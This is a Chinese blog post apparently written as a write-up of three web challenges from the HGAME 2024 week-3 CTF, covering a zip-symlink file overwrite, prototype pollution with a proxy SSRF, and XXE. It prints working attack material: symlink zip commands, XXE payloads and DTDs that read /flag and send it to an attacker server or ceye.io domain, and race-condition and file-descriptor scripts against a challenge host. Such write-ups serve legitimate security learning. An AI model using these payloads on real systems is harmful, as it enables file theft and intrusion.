HGAME-week3

HGAME-Week3

前言

web 2/3 太难了,真不会

image-20240225220202843

三道题中,代码最多,但代码内容简单,目标明确,思路清晰

但是最后脑子抽了,secret文件忘记有代码了,后来一想到就出了(我造,我的一血没了

image-20240216040715845

几个路由,看完代码后很容易得到思路

/user获取Admin用户密码去登陆,登录成Admin后上传zip文件

但这做了限制

image-20240216040654976

我们只需要键名不传username就行

image-20240216030537054

只能上传zip文件

然后是解压代码

image-20240216041032153

一看就知道是zip软链接的考点

通过软链接控制/app

然后这里脑子抽了挺多风,尝试往/app/views下写go命令执行的文件,但解压失败

想着把secret文件软连接到/flag,但也不行

最后想起了附件中有代码

image-20240216030424378

image-20240216030439257

直接覆盖secret文件内容为/flag即可

ln -s /app link
zip --symlinks link.zip link

删掉link

mkdir link
cd link
echo "/flag" > secret
cd ..
zip -r link1.zip ./*

依次上传link.zip和link1.zip即可

然后访问/api/unzip/api/secret即可

image-20240216030337676

webvpn

其实思路也是比较明确的

登陆后,使用/user/info路由进行原型链污染,污染strategy

const express = require("express");
const axios = require("axios");
const bodyParser = require("body-parser");
const path = require("path");
const fs = require("fs");
const { v4: uuidv4 } = require("uuid");
const session = require("express-session");

const app = express();
const port = 3000;
const session_name = "my-webvpn-session-id-" + uuidv4().toString();

app.set("view engine", "pug");
app.set("trust proxy", false);
app.use(express.static(path.join(__dirname, "public")));
app.use(
  session({
    name: session_name,
    secret: uuidv4().toString(),
    secure: false,
    resave: false,
    saveUninitialized: true,
  })
);
app.use(bodyParser.json());
var userStorage = {
  username: {
    password: "password",
    info: {
      age: 18,
    },
    strategy: {
      "baidu.com": true,
      "google.com": false,
    },
  },
};

function update(dst, src) {
  for (key in src) {
    if (key.indexOf("__") != -1) {
      continue;
    }
    if (typeof src[key] == "object" && dst[key] !== undefined) {
      update(dst[key], src[key]);
      continue;
    }
    dst[key] = src[key];
  }
}

app.use("/proxy", async (req, res) => {
  const { username } = req.session;
  if (!username) {
    res.sendStatus(403);
  }

  let url = (() => {
    try {
      return new URL(req.query.url);
    } catch {
      res.status(400);
      res.end("invalid url.");
      return undefined;
    }
  })();

  if (!url) return;

  if (!userStorage[username].strategy[url.hostname]) {
    res.status(400);
    res.end("your url is not allowed.");
  }

  try {
    const headers = req.headers;
    headers.host = url.host;
    headers.cookie = headers.cookie.split(";").forEach((cookie) => {
      var filtered_cookie = "";
      const [key, value] = cookie.split("=", 1);
      if (key.trim() !== session_name) {
        filtered_cookie += `${key}=${value};`;
      }
      return filtered_cookie;
    });
    const remote_res = await (() => {
      if (req.method == "POST") {
        return axios.post(url, req.body, {
          headers: headers,
        });
      } else if (req.method == "GET") {
        return axios.get(url, {
          headers: headers,
        });
      } else {
        res.status(405);
        res.end("method not allowed.");
        return;
      }
    })();
    res.status(remote_res.status);
    res.header(remote_res.headers);
    res.write(remote_res.data);
  } catch (e) {
    res.status(500);
    res.end("unreachable url.");
  }
});

app.post("/user/login", (req, res) => {
  const { username, password } = req.body;
  if (
    typeof username != "string" ||
    typeof password != "string" ||
    !username ||
    !password
  ) {
    res.status(400);
    res.end("invalid username or password");
    return;
  }
  if (!userStorage[username]) {
    res.status(403);
    res.end("invalid username or password");
    return;
  }
  if (userStorage[username].password !== password) {
    res.status(403);
    res.end("invalid username or password");
    return;
  }
  req.session.username = username;
  res.send("login success");
});

// under development
app.post("/user/info", (req, res) => {
  if (!req.session.username) {
    res.sendStatus(403);
  }
  update(userStorage[req.session.username].info, req.body);
  res.sendStatus(200);
});

app.get("/home", (req, res) => {
  if (!req.session.username) {
    res.sendStatus(403);
    return;
  }
  res.render("home", {
    username: req.session.username,
    strategy: ((list)=>{
      var result = [];
      for (var key in list) {
        result.push({host: key, allow: list[key]});
      }
      return result;
    })(userStorage[req.session.username].strategy),
  });
});

// demo service behind webvpn
app.get("/flag", (req, res) => {
  if (
    req.headers.host != "127.0.0.1:3000" ||
    req.hostname != "127.0.0.1" ||
    req.ip != "127.0.0.1" 
  ) {
    res.sendStatus(400);
    return;
  }
  const data = fs.readFileSync("/flag");
  res.send(data);
});

app.listen(port, '0.0.0.0', () => {
  console.log(`app listen on ${port}`);
});

image-20240216030153830

这里也sb了一下,Content-Type没改为application/json,一直无法污染,我还以为思路有问题呢

image-20240216030019744

不知道为什么,我明明开始就是这么做的,但是它一直显示unreachable url

然后我就污染了127.0.0.1:3000127.0.0.1:3000/flag等等都不行

最后第二天再次尝试,只污染了个127.0.0.1就行了

vidarbox

private String workdir = "file:///non_exists/";
private String suffix = ".xml";

@RequestMapping("/")
public String index() {
    return "index.html";
}

@GetMapping({"/backdoor"})
@ResponseBody
public String hack(@RequestParam String fname) throws IOException, SAXException {
    DefaultResourceLoader resourceLoader = new DefaultResourceLoader();
    byte[] content = resourceLoader.getResource(this.workdir + fname + this.suffix).getContentAsByteArray();
    if (content != null && this.safeCheck(content)) {
        XMLReader reader = XMLReaderFactory.createXMLReader();
        reader.parse(new InputSource(new ByteArrayInputStream(content)));
        return "success";
    } else {
        return "error";
    }
}

private boolean safeCheck(byte[] stream) throws IOException {
    String content = new String(stream);
    return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&
            !content.contains("doctype") && !content.contains("entity");
}

预期解

当时看WP时都看不懂,问了下出题人

file协议支持ftp,用python -m http.server是不行的

**file协议对应有一个类似http的远程访问,就是ftp协议,即文件传输协议**。

所以这里我们要用ftp服务器

使用WP中给出的代码

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

authorizer = DummyAuthorizer()
authorizer.add_anonymous("你的vps所开放的目录", perm="r")

handler = FTPHandler
handler.authorizer = authorizer

server = FTPServer(("0.0.0.0", 21), handler)

server.serve_forever()

接下来的说法可能具有主观性,因为问了出题人,他说WP没问题

但是我认为两个恶意文件其实是有问题的

image-20240226225755267

首先这里是ftp的服务,要使用ftp协议进行请求(当然你要是为了evil.dtd单独开了一个python -m http.server就当我没说

其次这里定义实体也是错误的,应该用ENTITY,而不是DOCTYPE (有可能是我狭隘了,没见过这种写法

我的恶意文件

payload.xml

<?xml version="1.0" encoding="UTF-16BE" ?>
<!DOCTYPE try [
<!ENTITY % int SYSTEM "ftp://vps/evil.dtd">
%int;
%all;
%send;
]>

生成文件

FileOutputStream fileOutputStream = new FileOutputStream("payload.xml");
fileOutputStream.write("<?xml version=\"1.0\" encoding=\"UTF-16BE\" ?>\n<!DOCTYPE try [\n<!ENTITY % int SYSTEM \"ftp://vps/evil.dtd\">\n%int;\n%all;\n%send;\n]>".getBytes(StandardCharsets.UTF_16BE));
fileOutputStream.close();

evil.dtd

<!ENTITY % payl SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://vps:7777/?%payl;'>">

image-20240226224938676

官方WP

image-20240226232648802

大家各自尝试吧,毕竟说的再多,只有自己试出来的才是自己相信的

非预期

https://boogipop.com/2024/01/29/RealWorld%20CTF%206th%20%E6%AD%A3%E8%B5%9B_%E4%BD%93%E9%AA%8C%E8%B5%9B%20%E9%83%A8%E5%88%86%20Web%20Writeup/#chatterbox%EF%BC%88solved%EF%BC%89

hgame2024_week3 WP | 晨曦的个人小站 (chenxi9981.github.io)

太强了,Boogipop大佬的文章当时就瞄了几眼,只能说没有体悟(遇到这里联想不到那个做法啊

但晨曦师傅好敏锐的嗅觉,好啊

连file协议都一模一样

条件竞争上传脚本

import requests
import io
import threading
url = 'http://139.196.183.57:32517/' #引入url
def write():
    
    while True:
        response=requests.post(url,files={'file':('poc',open('new.xml','rb'))})
        #print(response.text)
if __name__=='__main__':
        evnet=threading.Event()
        with requests.session() as session:
            for i in range(10):
                threading.Thread(target=write).start()
        evnet.set()

包含文件描述符

import requests
import io
import time
import threading
while True:
    for i in range(10, 35):
        try:
            #print(i)
            url = f'http://139.196.183.57:32517/backdoor?fname=..%5cproc/self/fd/{i}%23'  # 引入url
            # print(r.cookies)
            response = requests.get(url,timeout=0.5)
            
            print(i,response.text)
            if response.text == 'success' or response.text == 'error':
                print(i,response.text)
                time.sleep(10)
        except:
            pass
            #print("no")
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://[ip]:[port]/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://kbqsag.ceye.io?file=%file;'>">

HGAME-week3
https://zer0peach.github.io/2024/02/17/HGAME-week3/
作者
Zer0peach
发布于
2024年2月17日
许可协议